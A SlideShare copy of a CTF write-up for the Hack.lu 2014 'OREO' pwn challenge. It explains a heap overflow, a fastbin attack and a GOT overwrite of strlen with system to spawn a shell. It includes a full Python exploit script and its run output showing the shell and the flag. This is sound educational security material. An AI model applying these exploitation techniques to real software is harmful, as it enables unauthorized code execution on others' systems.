SlideShare a Scribd company logo
OREO
Hack.lu CTF 2014 - Exploiting 400 points
you0708@YOKARO-MON
The Original Rifle Company has the most
finest rifles and revolvers in whole
Rodeo City! However their buildings are
pretty secure, so your only chance to get
into their offices is by hacking through
the Original Rifle Ecommerce Online
(OREO) System and steal all those pretty
weapons from the inside! Makes sense
right? Good luck!
nc wildwildweb.fluxfingers.net 1414
Welcome to the OREO Original Rifle Ecommerce Online System!
,______________________________________
|_________________,----------._ [____] -,__ __....-----=====
(_(||||||||||||)___________/ |
`----------' OREO [ ))"-, |
"" `, _,--....___ |
`/ """"
What would you like to do?
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: 1
Rifle name: hogehoge
Rifle description: sample rifle
Action: 2
Rifle to be ordered:
===================================
Name: hogehoge
Description: sample rifle
===================================
Action:
Analysis
Surface Analysis
• file
• ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked
(uses shared libs), for GNU/Linux 2.6.26, stripped
• checksec
• CANARY : ENABLED
• FORTIFY : disabled
• NX : ENABLED
• PIE : disabled
• RELRO : disabled
Dynamic Analysis
• We can order rifles
1. Select rifles you want to order
• Need to specify rifle name & description
2. Submit an order for selected rifles
• Can leave a message
Static Analysis
• Reverse engineering using IDA
• Data structure of the rifle
Static Analysis
Static Analysis
• aa_rifle (Size = 0x38)
Offset Size Name
0x00 0x19 description
0x19 0x1B name
0x34 4 last
Fastbins
Reference: Heap Chunk
• http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
Reference: Heap Chunk
• http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
Understanding Rifle
Management using GDB
• After adding 2 rifles
• After order size + flag, fd, bk
“A” “a”
“b”“B”
It can be found from 0x0804A288 that
stores address of last rifle
• After adding 2 rifles
Heap
Chunk 2
Chunk 1
Understanding Rifle
Management
Rifle 2
0x00000041 (size + flag)
(prev size)
Rifle 1
description
name
0
0x00000041 (size + flag)
(prev size)
description
name
address of Rifle 1
• After order
Heap
Chunk 2
Chunk 1
Understanding Rifle
Management
0x00000041 (size + flag)
(prev size)
0x00000041 (size + flag)
(prev size)
0x00000000 (fd)
0x00000000 (bk)
address of Chunk 2 (fd)
0x00000000 (bk)
Vulnerability
• Add command
1. Alloc 0x38 bytes heap (new rifle)
2. Connect to previous rifle
3. Input rifle’s name (max 0x38 bytes)
4. Input rifle’s description (max 0x38 bytes)
5. Add rifle counter
Vulnerability
• You can do buffer-overflow as below
Rifle
description
name
last
“A” * 0x38
Vulnerability
• Or
Rifle
description
name
last“A” * 0x38
Exploitation
Memory Leakage
• Overwrite last rifle address
Heap
Chunk 1
Rifle 1
description
name
0
0x41 (size + flag)
(prev size)
Target data
You can read target data as rifle’s
description using show command
“A” * 0x1B

+ address of target data
Fastbins Unlink Attack
• Breaking fastbins chain
Heap
Freed

Chunk 2
Reallocated
Chunk 1
0x42 (size + flag)
(prev size)
0x41 (size + flag)
(prev size)
address of Chunk 1
bk
Rifle 3
description
name
0
“A” * 0x1F

+ 0

+ 0

+ 0x41

+ address of target memory
Target memory
It used as a heap
chunk after re-
allocating Chunk 2
Add a rifle after free 2
rifles
Reference: Fastbins Unlink
Attack
• http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
To avoid size check failure, you have to
put a correct value into “size”
(In this case, the value must be 0x41)
Making Fake Freed Chunk
• You have to find the area that can be set to
0x41 when re-allocation
Chunk
0x41 (size + flag)
(prev size)
fd
bk
You can use 0x804A2A0 as a
freed chunk because
rifle_counter can be set 0x41
Exploitation Process
1. Leak address of ibc functions
2. Calc address of “system”
3. Add rifles until rifle counter is 0x3F
4. Order rifles (free fastbins)
5. Breaking fastbins chain by adding a rifle
6. Allocate 0x804A2A0 as a heap chunk by adding a rifle
7. Overwrite GOT by leaving message
8. Get shell
Exploitation Process
2. Calc address of “system”
• See http://pastebin.com/9vq38BYH
Exploitation Process
3. Add rifles until rifle counter is 0x3F
4. Order rifles (Free fastbins)
while rifle_count < 0x3e:
cmd_add("A"*27+p(0), "B")
cmd_add("A", "B")
cmd_order()
To avoid to create many fast chunks,

the “last” should be 0x00000000
Exploitation Process
6. Allocate 0x804A2A0 as a heap chunk by
adding a rifle
• Before allocation, rifle counter will be 0x41
• Its description must be addr of strlen@got
Address Before After
0x804A2A0 orderd_counter prev_size 0x00000000
0x804A2A4 rifle_counter size + flag 0x00000041
0x804A2A8 lpMsg description address of strlen@got
0x804a2c1 msg_buf + 1 name “foobar"
0x804a2dc msg_buf + 0x1C last Unknown
strlen@got is will be call the
program after adding a
rifle/leaving a message
Exploitation Process
7. Overwrite strlen@got by leaving a message
• Now lpMsg points to strlen@got
• Message should be p(libc_system) + “;sh
x00"
• “;shx00" will be used in next step
Exploitation Process
8. Get shell
• Overwrote strlen will be called after
adding the rifle
• Its argument is the message:

p(libc_system) + “;shx00”
• It means the program will call

system(“x??x??x??x??;sh”)
oreo.py
s, f = sock("wildwildweb.fluxfingers.net", 1414)
got_malloc = 0x0804A244
got_strlen = 0x0804A250
p_order_msg = 0x0804A2A8
rifle_count = 0
ready_action()
cmd_add("A"*27+p(got_malloc-0x19), "B"*25)
libc_malloc = u(cmd_show()[1][0][:4])
print("[*] got libc malloc: 0x%08x" % libc_malloc)
libc_system = libc_malloc - 0x0007d950 + 0x00042af0
print("[*] got libc system: 0x%08x" % libc_system)
while rifle_count < 0x3e:
cmd_add("A"*27+p(0), "B")
cmd_add("A", "B")
cmd_order()
cmd_add("A"*27+p(0)+p(0)+p(0x41)+p(p_order_msg-8), "B")
cmd_add("A", "B")
cmd_add("A", p(got_strlen))
cmd_msg(p(libc_system) + ";shx00", noread=True)
print("[*] got shell")
shell(s)
$ python oreo.py
[*] rifle count: 0x01
[*] got libc malloc: 0xf76a2950
[*] got libc system: 0xf7667af0
[*] rifle count: 0x02
[*] rifle count: 0x03
(snip.)
[*] rifle count: 0x3f
[*] ordered
[*] rifle count: 0x40
[*] rifle count: 0x41
[*] rifle count: 0x42
[*] got shell
ls
fl4g oreo
cat fl4g
flag{FASTBINS_ARE_NICE_ARENT_THEY}
Thank you!

More Related Content

PDF
Return to dlresolve
Angel Boy
 
PDF
The Log of All Logs: Raft-based Consensus Inside Kafka | Guozhang Wang, Confl...
HostedbyConfluent
 
PDF
Linux 4.x Tracing: Performance Analysis with bcc/BPF
Brendan Gregg
 
PPTX
PrometheusによるKubernetes環境の異常検知改善.pptx
TakashiTsukamoto4
 
PDF
PHP 8 で Web 以外の世界の扉を叩く
shinjiigarashi
 
PPTX
My SYSAUX tablespace is full - please help
Markus Flechtner
 
PPTX
【配信!Veeam情報局】バックアップ容量の最適化、ストレージ節約や拡張方法を解説!
株式会社クライム
 
PDF
Making Linux do Hard Real-time
National Cheng Kung University
 
Return to dlresolve
Angel Boy
 
The Log of All Logs: Raft-based Consensus Inside Kafka | Guozhang Wang, Confl...
HostedbyConfluent
 
Linux 4.x Tracing: Performance Analysis with bcc/BPF
Brendan Gregg
 
PrometheusによるKubernetes環境の異常検知改善.pptx
TakashiTsukamoto4
 
PHP 8 で Web 以外の世界の扉を叩く
shinjiigarashi
 
My SYSAUX tablespace is full - please help
Markus Flechtner
 
【配信!Veeam情報局】バックアップ容量の最適化、ストレージ節約や拡張方法を解説!
株式会社クライム
 
Making Linux do Hard Real-time
National Cheng Kung University
 

What's hot (20)

PDF
Ansible 2.10 と Collection
akira6592
 
PDF
WebRTC入門 ~沖縄編~
Ryosuke Otsuya
 
PDF
MongoDB Configパラメータ解説
Shoken Fujisaki
 
PPTX
Slab Allocator in Linux Kernel
Adrian Huang
 
PDF
Architecture Of The Linux Kernel
guest547d74
 
PPTX
Applet intro
Nitin Birari
 
PPTX
Container Networking Deep Dive
Hirofumi Ichihara
 
PDF
User and group administration in Linux
Mohammed Yazdani
 
PDF
レシピの作り方入門
Nobuhiro Iwamatsu
 
PDF
#02-01 ZFS によるストレージ仮想化 (2012-04-20)
SolarisJPNight
 
PDF
Use After Free 脆弱性攻撃を試す
monochrojazz
 
PDF
イエラエセキュリティMeet up 20210820
GMOサイバーセキュリティ byイエラエ株式会社
 
PDF
Maximum Availability Architecture - Best Practices for Oracle Database 19c
Glen Hawkins
 
PPTX
Operating Systems - A Primer
Saumil Shah
 
PDF
Managing Postgres with Ansible
Gulcin Yildirim Jelinek
 
PDF
ARM Trusted FirmwareのBL31を単体で使う!
Mr. Vengineer
 
PDF
OCIv2?!軽量高速なイケてる次世代イメージ仕様の最新動向を抑えよう!
Kohei Tokunaga
 
PDF
PCI Drivers
Anil Kumar Pugalia
 
PDF
Java Performance Analysis on Linux with Flame Graphs
Brendan Gregg
 
Ansible 2.10 と Collection
akira6592
 
WebRTC入門 ~沖縄編~
Ryosuke Otsuya
 
MongoDB Configパラメータ解説
Shoken Fujisaki
 
Slab Allocator in Linux Kernel
Adrian Huang
 
Architecture Of The Linux Kernel
guest547d74
 
Applet intro
Nitin Birari
 
Container Networking Deep Dive
Hirofumi Ichihara
 
User and group administration in Linux
Mohammed Yazdani
 
レシピの作り方入門
Nobuhiro Iwamatsu
 
#02-01 ZFS によるストレージ仮想化 (2012-04-20)
SolarisJPNight
 
Use After Free 脆弱性攻撃を試す
monochrojazz
 
イエラエセキュリティMeet up 20210820
GMOサイバーセキュリティ byイエラエ株式会社
 
Maximum Availability Architecture - Best Practices for Oracle Database 19c
Glen Hawkins
 
Operating Systems - A Primer
Saumil Shah
 
Managing Postgres with Ansible
Gulcin Yildirim Jelinek
 
ARM Trusted FirmwareのBL31を単体で使う!
Mr. Vengineer
 
OCIv2?!軽量高速なイケてる次世代イメージ仕様の最新動向を抑えよう!
Kohei Tokunaga
 
PCI Drivers
Anil Kumar Pugalia
 
Java Performance Analysis on Linux with Flame Graphs
Brendan Gregg
 

Viewers also liked (12)

PDF
IDA ユーザなら知っておくべきマントノン侯爵夫人にモテる 7つの法則
勇 中津留
 
PPTX
[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov
CODE BLUE
 
PDF
ВКонтакте: потребление контента
Рыжков Виталий
 
PDF
Daina Middleton, Global Head of Business Marketing, Twitter
B&T Magazine
 
PDF
2016 Spring Saratogan
City of Saratoga
 
PDF
Flyer
Pro Tray
 
PDF
копия прайс продукты_из_рая_111
Евгений Палыч
 
PPTX
Bewitched and bothered
Evlchemist
 
PPTX
Mapas conceptuales y mentales
verito velasquez
 
PDF
boeng early MRB 2
Douglas Queen
 
PPTX
A2. MEP1 - Mod 1 - Tema2
Poliana Bellan
 
PDF
MIN SHENG LINES - Profile
Muhammad Bilal
 
IDA ユーザなら知っておくべきマントノン侯爵夫人にモテる 7つの法則
勇 中津留
 
[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov
CODE BLUE
 
ВКонтакте: потребление контента
Рыжков Виталий
 
Daina Middleton, Global Head of Business Marketing, Twitter
B&T Magazine
 
2016 Spring Saratogan
City of Saratoga
 
Flyer
Pro Tray
 
копия прайс продукты_из_рая_111
Евгений Палыч
 
Bewitched and bothered
Evlchemist
 
Mapas conceptuales y mentales
verito velasquez
 
boeng early MRB 2
Douglas Queen
 
A2. MEP1 - Mod 1 - Tema2
Poliana Bellan
 
MIN SHENG LINES - Profile
Muhammad Bilal
 

Similar to OREO - Hack.lu CTF 2014 (20)

PPTX
Windows Debugging with WinDbg
Arno Huetter
 
PDF
20190521 pwn 101_by_roy
Roy
 
PDF
[131]해커의 관점에서 바라보기
NAVER D2
 
PDF
0x01 - Breaking into Linux VMs for Fun and Profit.pdf
scribdsituation719
 
PDF
Basic arithmetic, instruction execution and program
JyotiprakashMishra18
 
PDF
Heap Base Exploitation
UTD Computer Security Group
 
PDF
PE102 - a Windows executable format overview (booklet V1)
Ange Albertini
 
ODP
The forgotten art of assembly
Marian Marinov
 
PPT
Chapter Eight(3)
bolovv
 
ODP
Runtime Symbol Resolution
Ken Kawamoto
 
PDF
APEX Connect 2019 - array/bulk processing in PLSQL
Connor McDonald
 
PPTX
C Programming Training in Ambala ! Batra Computer Centre
jatin batra
 
PPT
Writing Metasploit Plugins
amiable_indian
 
PPTX
Winter training,Readymade Projects,Buy Projects,Corporate Training
Technogroovy
 
PPTX
OpenWorld 2018 - Common Application Developer Disasters
Connor McDonald
 
PPTX
ECE-3567-Lecture-2-Spring-2025 for beginners
MahmoudElsamanty
 
PDF
Object Oriented Exploitation: New techniques in Windows mitigation bypass
Sam Thomas
 
PPT
Data type
myrajendra
 
PDF
TDOH x 台科 pwn課程
Weber Tsai
 
PDF
Symbolic Debugging with DWARF
Samy Bahra
 
Windows Debugging with WinDbg
Arno Huetter
 
20190521 pwn 101_by_roy
Roy
 
[131]해커의 관점에서 바라보기
NAVER D2
 
0x01 - Breaking into Linux VMs for Fun and Profit.pdf
scribdsituation719
 
Basic arithmetic, instruction execution and program
JyotiprakashMishra18
 
Heap Base Exploitation
UTD Computer Security Group
 
PE102 - a Windows executable format overview (booklet V1)
Ange Albertini
 
The forgotten art of assembly
Marian Marinov
 
Chapter Eight(3)
bolovv
 
Runtime Symbol Resolution
Ken Kawamoto
 
APEX Connect 2019 - array/bulk processing in PLSQL
Connor McDonald
 
C Programming Training in Ambala ! Batra Computer Centre
jatin batra
 
Writing Metasploit Plugins
amiable_indian
 
Winter training,Readymade Projects,Buy Projects,Corporate Training
Technogroovy
 
OpenWorld 2018 - Common Application Developer Disasters
Connor McDonald
 
ECE-3567-Lecture-2-Spring-2025 for beginners
MahmoudElsamanty
 
Object Oriented Exploitation: New techniques in Windows mitigation bypass
Sam Thomas
 
Data type
myrajendra
 
TDOH x 台科 pwn課程
Weber Tsai
 
Symbolic Debugging with DWARF
Samy Bahra
 

Recently uploaded (20)

PDF
EVS+PRESENTATIONS EVS+PRESENTATIONS like
saiyedaqib429
 
PPTX
Inventory management chapter in automation and robotics.
atisht0104
 
PPTX
Civil Engineering Practices_BY Sh.JP Mishra 23.09.pptx
bineetmishra1990
 
PDF
20ME702-Mechatronics-UNIT-1,UNIT-2,UNIT-3,UNIT-4,UNIT-5, 2025-2026
Mohanumar S
 
PPTX
sunil mishra pptmmmmmmmmmmmmmmmmmmmmmmmmm
singhamit111
 
PDF
2010_Book_EnvironmentalBioengineering (1).pdf
EmilianoRodriguezTll
 
DOCX
SAR - EEEfdfdsdasdsdasdasdasdasdasdasdasda.docx
Kanimozhi676285
 
PPTX
22PCOAM21 Session 1 Data Management.pptx
Guru Nanak Technical Institutions
 
PDF
AI-Driven IoT-Enabled UAV Inspection Framework for Predictive Maintenance and...
ijcncjournal019
 
PDF
CAD-CAM U-1 Combined Notes_57761226_2025_04_22_14_40.pdf
shailendrapratap2002
 
PDF
Construction of a Thermal Vacuum Chamber for Environment Test of Triple CubeS...
2208441
 
PDF
67243-Cooling and Heating & Calculation.pdf
DHAKA POLYTECHNIC
 
PPTX
FUNDAMENTALS OF ELECTRIC VEHICLES UNIT-1
MikkiliSuresh
 
PDF
67243-Cooling and Heating & Calculation.pdf
DHAKA POLYTECHNIC
 
PPTX
MULTI LEVEL DATA TRACKING USING COOJA.pptx
dollysharma12ab
 
PDF
Unit I Part II.pdf : Security Fundamentals
Dr. Madhuri Jawale
 
PPTX
business incubation centre aaaaaaaaaaaaaa
hodeeesite4
 
PDF
Chad Ayach - A Versatile Aerospace Professional
Chad Ayach
 
PDF
Introduction to Ship Engine Room Systems.pdf
Mahmoud Moghtaderi
 
PDF
LEAP-1B presedntation xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
hatem173148
 
EVS+PRESENTATIONS EVS+PRESENTATIONS like
saiyedaqib429
 
Inventory management chapter in automation and robotics.
atisht0104
 
Civil Engineering Practices_BY Sh.JP Mishra 23.09.pptx
bineetmishra1990
 
20ME702-Mechatronics-UNIT-1,UNIT-2,UNIT-3,UNIT-4,UNIT-5, 2025-2026
Mohanumar S
 
sunil mishra pptmmmmmmmmmmmmmmmmmmmmmmmmm
singhamit111
 
2010_Book_EnvironmentalBioengineering (1).pdf
EmilianoRodriguezTll
 
SAR - EEEfdfdsdasdsdasdasdasdasdasdasdasda.docx
Kanimozhi676285
 
22PCOAM21 Session 1 Data Management.pptx
Guru Nanak Technical Institutions
 
AI-Driven IoT-Enabled UAV Inspection Framework for Predictive Maintenance and...
ijcncjournal019
 
CAD-CAM U-1 Combined Notes_57761226_2025_04_22_14_40.pdf
shailendrapratap2002
 
Construction of a Thermal Vacuum Chamber for Environment Test of Triple CubeS...
2208441
 
67243-Cooling and Heating & Calculation.pdf
DHAKA POLYTECHNIC
 
FUNDAMENTALS OF ELECTRIC VEHICLES UNIT-1
MikkiliSuresh
 
67243-Cooling and Heating & Calculation.pdf
DHAKA POLYTECHNIC
 
MULTI LEVEL DATA TRACKING USING COOJA.pptx
dollysharma12ab
 
Unit I Part II.pdf : Security Fundamentals
Dr. Madhuri Jawale
 
business incubation centre aaaaaaaaaaaaaa
hodeeesite4
 
Chad Ayach - A Versatile Aerospace Professional
Chad Ayach
 
Introduction to Ship Engine Room Systems.pdf
Mahmoud Moghtaderi
 
LEAP-1B presedntation xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
hatem173148
 

OREO - Hack.lu CTF 2014

  • 1. OREO Hack.lu CTF 2014 - Exploiting 400 points you0708@YOKARO-MON
  • 2. The Original Rifle Company has the most finest rifles and revolvers in whole Rodeo City! However their buildings are pretty secure, so your only chance to get into their offices is by hacking through the Original Rifle Ecommerce Online (OREO) System and steal all those pretty weapons from the inside! Makes sense right? Good luck! nc wildwildweb.fluxfingers.net 1414
  • 3. Welcome to the OREO Original Rifle Ecommerce Online System! ,______________________________________ |_________________,----------._ [____] -,__ __....-----===== (_(||||||||||||)___________/ | `----------' OREO [ ))"-, | "" `, _,--....___ | `/ """" What would you like to do? 1. Add new rifle 2. Show added rifles 3. Order selected rifles 4. Leave a Message with your Order 5. Show current stats 6. Exit! Action: 1 Rifle name: hogehoge Rifle description: sample rifle Action: 2 Rifle to be ordered: =================================== Name: hogehoge Description: sample rifle =================================== Action:
  • 5. Surface Analysis • file • ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped • checksec • CANARY : ENABLED • FORTIFY : disabled • NX : ENABLED • PIE : disabled • RELRO : disabled
  • 6. Dynamic Analysis • We can order rifles 1. Select rifles you want to order • Need to specify rifle name & description 2. Submit an order for selected rifles • Can leave a message
  • 7. Static Analysis • Reverse engineering using IDA
  • 8. • Data structure of the rifle Static Analysis
  • 9. Static Analysis • aa_rifle (Size = 0x38) Offset Size Name 0x00 0x19 description 0x19 0x1B name 0x34 4 last Fastbins
  • 10. Reference: Heap Chunk • http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
  • 11. Reference: Heap Chunk • http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
  • 12. Understanding Rifle Management using GDB • After adding 2 rifles • After order size + flag, fd, bk “A” “a” “b”“B” It can be found from 0x0804A288 that stores address of last rifle
  • 13. • After adding 2 rifles Heap Chunk 2 Chunk 1 Understanding Rifle Management Rifle 2 0x00000041 (size + flag) (prev size) Rifle 1 description name 0 0x00000041 (size + flag) (prev size) description name address of Rifle 1
  • 14. • After order Heap Chunk 2 Chunk 1 Understanding Rifle Management 0x00000041 (size + flag) (prev size) 0x00000041 (size + flag) (prev size) 0x00000000 (fd) 0x00000000 (bk) address of Chunk 2 (fd) 0x00000000 (bk)
  • 15. Vulnerability • Add command 1. Alloc 0x38 bytes heap (new rifle) 2. Connect to previous rifle 3. Input rifle’s name (max 0x38 bytes) 4. Input rifle’s description (max 0x38 bytes) 5. Add rifle counter
  • 16. Vulnerability • You can do buffer-overflow as below Rifle description name last “A” * 0x38
  • 19. Memory Leakage • Overwrite last rifle address Heap Chunk 1 Rifle 1 description name 0 0x41 (size + flag) (prev size) Target data You can read target data as rifle’s description using show command “A” * 0x1B
 + address of target data
  • 20. Fastbins Unlink Attack • Breaking fastbins chain Heap Freed
 Chunk 2 Reallocated Chunk 1 0x42 (size + flag) (prev size) 0x41 (size + flag) (prev size) address of Chunk 1 bk Rifle 3 description name 0 “A” * 0x1F
 + 0
 + 0
 + 0x41
 + address of target memory Target memory It used as a heap chunk after re- allocating Chunk 2 Add a rifle after free 2 rifles
  • 21. Reference: Fastbins Unlink Attack • http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200 To avoid size check failure, you have to put a correct value into “size” (In this case, the value must be 0x41)
  • 22. Making Fake Freed Chunk • You have to find the area that can be set to 0x41 when re-allocation Chunk 0x41 (size + flag) (prev size) fd bk You can use 0x804A2A0 as a freed chunk because rifle_counter can be set 0x41
  • 23. Exploitation Process 1. Leak address of ibc functions 2. Calc address of “system” 3. Add rifles until rifle counter is 0x3F 4. Order rifles (free fastbins) 5. Breaking fastbins chain by adding a rifle 6. Allocate 0x804A2A0 as a heap chunk by adding a rifle 7. Overwrite GOT by leaving message 8. Get shell
  • 24. Exploitation Process 2. Calc address of “system” • See http://pastebin.com/9vq38BYH
  • 25. Exploitation Process 3. Add rifles until rifle counter is 0x3F 4. Order rifles (Free fastbins) while rifle_count < 0x3e: cmd_add("A"*27+p(0), "B") cmd_add("A", "B") cmd_order() To avoid to create many fast chunks,
 the “last” should be 0x00000000
  • 26. Exploitation Process 6. Allocate 0x804A2A0 as a heap chunk by adding a rifle • Before allocation, rifle counter will be 0x41 • Its description must be addr of strlen@got Address Before After 0x804A2A0 orderd_counter prev_size 0x00000000 0x804A2A4 rifle_counter size + flag 0x00000041 0x804A2A8 lpMsg description address of strlen@got 0x804a2c1 msg_buf + 1 name “foobar" 0x804a2dc msg_buf + 0x1C last Unknown strlen@got is will be call the program after adding a rifle/leaving a message
  • 27. Exploitation Process 7. Overwrite strlen@got by leaving a message • Now lpMsg points to strlen@got • Message should be p(libc_system) + “;sh x00" • “;shx00" will be used in next step
  • 28. Exploitation Process 8. Get shell • Overwrote strlen will be called after adding the rifle • Its argument is the message:
 p(libc_system) + “;shx00” • It means the program will call
 system(“x??x??x??x??;sh”)
  • 29. oreo.py s, f = sock("wildwildweb.fluxfingers.net", 1414) got_malloc = 0x0804A244 got_strlen = 0x0804A250 p_order_msg = 0x0804A2A8 rifle_count = 0 ready_action() cmd_add("A"*27+p(got_malloc-0x19), "B"*25) libc_malloc = u(cmd_show()[1][0][:4]) print("[*] got libc malloc: 0x%08x" % libc_malloc) libc_system = libc_malloc - 0x0007d950 + 0x00042af0 print("[*] got libc system: 0x%08x" % libc_system) while rifle_count < 0x3e: cmd_add("A"*27+p(0), "B") cmd_add("A", "B") cmd_order() cmd_add("A"*27+p(0)+p(0)+p(0x41)+p(p_order_msg-8), "B") cmd_add("A", "B") cmd_add("A", p(got_strlen)) cmd_msg(p(libc_system) + ";shx00", noread=True) print("[*] got shell") shell(s)
  • 30. $ python oreo.py [*] rifle count: 0x01 [*] got libc malloc: 0xf76a2950 [*] got libc system: 0xf7667af0 [*] rifle count: 0x02 [*] rifle count: 0x03 (snip.) [*] rifle count: 0x3f [*] ordered [*] rifle count: 0x40 [*] rifle count: 0x41 [*] rifle count: 0x42 [*] got shell ls fl4g oreo cat fl4g flag{FASTBINS_ARE_NICE_ARENT_THEY}